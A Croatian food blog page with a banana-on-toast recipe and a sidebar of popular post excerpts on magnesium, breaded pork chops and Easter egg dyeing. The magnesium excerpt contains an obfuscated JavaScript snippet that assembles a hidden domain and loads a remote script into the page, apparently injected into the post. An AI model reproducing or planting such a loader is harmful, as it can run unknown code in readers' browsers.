BANANE NA TOSTU




Banane na tostu 



Ako vam je običan tost za doručak već pomalo dosadio, postoji vrlo jednostavan način da ga pretvorite u nešto što će izgledati kao da ste ga naručili u popularnom brunch restoranu. Sve što vam treba je nekoliko osnovnih namirnica i desetak minuta vremena.




Banane na tostu 

Za dvije porcije pripremite:

  • 2 kriške kruha
  • 2 banane
  • 200 g grčkog jogurta
  • 1 žlicu maslaca
  • 1 žlicu javorovog sirupa
  • pola žličice cimeta
  • 1 žličicu ekstrakta vanilije
  • 30–40 g oraha ili lješnjaka
  • prstohvat soli
  • malo meda ili javorovog sirupa za kraj



Priprema:

Za početak prepecite kruh tako da izvana postane lijepo hrskav. Možete koristiti toster, tavu ili ga kratko zapeći u pećnici. Ako želite bogatiji okus, prije tostiranja premažite ga tankim slojem maslaca. Banane narežite na deblje kolutove ili ih prerežite po dužini. U zagrijanu tavu dodajte maslac, a zatim i banane. Pecite ih nekoliko minuta sa svake strane, sve dok ne dobiju zlatnosmeđu boju. Tada dodajte javorov sirup, cimet, vaniliju i malo soli. Sve nježno promiješajte i ostavite još otprilike minutu na vatri. Sirup će se početi pretvarati u sjajni sloj koji će obaviti banane, a upravo će on ovom jednostavnom doručku dati okus koji podsjeća na desert.

Dok se banane peku, možete pripremiti orašaste plodove. Grubo nasjeckane orahe ili lješnjake kratko tostirajte na suhoj tavi. Nije im potrebno ulje – dovoljno je nekoliko minuta da postanu mirisni i lagano poprime boju. Na kraju na svaku krišku hrskavog kruha namažite grčki jogurt. Preko njega rasporedite još tople banane, dodajte tostirane orašaste plodove i završite s nekoliko kapi meda ili javorovog sirupa. Na kraju možete dodati i mrvice čokolade.

Ako volite kombinaciju slatkog i slanog, na samom kraju možete dodati i sasvim mali prstohvat krupne soli. Najbolje ga je poslužiti odmah, dok su banane tople, a tost još uvijek hrskav. Iako je priprema vrlo jednostavna, rezultat je dovoljno efektan da ovaj recept bez problema možete poslužiti i kada vam u goste dolaze prijatelji na vikend brunch.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više